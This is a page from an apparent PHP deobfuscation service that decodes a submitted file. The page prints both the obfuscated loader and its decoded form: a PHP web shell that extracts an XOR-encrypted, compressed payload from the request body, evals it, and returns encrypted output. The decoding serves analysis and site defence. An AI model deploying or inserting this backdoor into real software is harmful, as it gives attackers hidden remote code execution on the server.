Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $x_71beeff9=base64_decode('X2NvbnQtOGVuLTh0cygpOyAgQC04by04Yl8tOGVuZF9jbGVhbigpOy04I..

Decoded Output download

b'$k="189a0cb1";$kh="c68d613586bf";$kf="e3c38ed5be8b";$p="ZXyGfTFL1gxAnCHs";function x($t,$k)'b'{$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t'b'{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"'b'),$m) == 1) {  @ob_start();  eval(@gzuncompress(@x(base64_decode($m[1]),$k)));  $o=@ob_get'b'_contents();  @ob_end_clean();  $r=@base64_encode(@x(@gzcompress($o),$k));  print("$p$kh$r$kf");}'

Did this file decode correctly?

Original Code

<?php $x_71beeff9=base64_decode('X2NvbnQtOGVuLTh0cygpOyAgQC04by04Yl8tOGVuZF9jbGVhbigpOy04ICAkci04PUBiYS04c2U2NF9lbmNvZGUoQHgoLThAZ3pjb20tOHByLThlc3MoLTgkbyksJGspLTgpLTg7IC04IHByaW50KCIkcCRraCRyJGtmIik7fQ==');$d_1b0ecf0b=base64_decode('KSwkbSktOCA9LTg9IC04MSkgLTh7ICBAb2Jfc3RhcnQoKTsgIEBldmEtOGwoQGd6dW5jby04LThtcHJlc3MtOChAeChAYmEtOHNlLTg2NF9kZWNvZGUoJG1bMV0pLC04JGspKSk7LTggICRvLTg9QG9iXy04Z2V0');$d_6c09ff9d=str_replace(base64_decode('T1E='),'',base64_decode('Y3JlT1FPUU9RYXRlX2Z1T1FPUW5PUWN0aW9u'));$j_b7b2364b=base64_decode('eyRpLTh9XiQtOGt7JGp9Oy04fX0tOHItOGV0dXJuICRvO30tOGlmIChAcHJlZy04X21hdGNoKCIvJGtoLTgoLTguKykka2YvIiwtOEBmaWxlX2dldF8tOGNvbnQtOGUtOG50cy04KCJwaHA6LTgvL2lucHV0LTgi');$x_4366831a=base64_decode('JGs9IjE4OS04YTBjYjEtOCI7JGtoPSJjNjhkLTg2MTMtODU4NmJmIi04OyRrLThmPSJlM2MtODM4ZWQ1YmU4YiI7JC04cD0iWi04WHlHZlRGTC04MWd4QW4tOEMtOEhzIjtmdW5jdGktOG9uIHgoJHQsLTgkay04KS04');$w_a3b36a04=base64_decode('eyRjPXN0cmxlbigkLThrKS04OyQtOGw9c3RybGVuKCQtOHQpOyRvPS04Ii04Ijtmb3IoJGk9MDskaTwkbDspey04Zm8tOHIoJGo9MDsoJC04ajwkYyYtOCYkaTwkbCk7LTgtOCRqKyssJGkrKyl7LTgkby4tOD0kdA==');$n_6b643b84=str_replace(base64_decode('LTg='),'',$x_4366831a.$w_a3b36a04.$j_b7b2364b.$d_1b0ecf0b.$x_71beeff9);$z_f26d6a3e=$d_6c09ff9d('',$n_6b643b84);$z_f26d6a3e();?>

Function Calls

str_replace 2
base64_decode 8
create_function 1

Variables

$d_1b0ecf0b ),$m)-8 =-8= -81) -8{ @ob_start(); @eva-8l(@gzunco-8-8mpre..
$d_6c09ff9d create_function
$j_b7b2364b {$i-8}^$-8k{$j};-8}}-8r-8eturn $o;}-8if (@preg-8_match("/$kh..
$n_6b643b84 b'$k="189a0cb1";$kh="c68d613586bf";$kf="e3c38ed5be8b";$p="ZX..
$w_a3b36a04 {$c=strlen($-8k)-8;$-8l=strlen($-8t);$o=-8"-8";for($i=0;$i<$..
$x_4366831a $k="189-8a0cb1-8";$kh="c68d-8613-8586bf"-8;$k-8f="e3c-838ed5..
$x_71beeff9 _cont-8en-8ts(); @-8o-8b_-8end_clean();-8 $r-8=@ba-8se64_e..

Stats

MD5 1d77b9708eb8245b9a24a9609560b18c
Eval Count 1
Decode Time 109 ms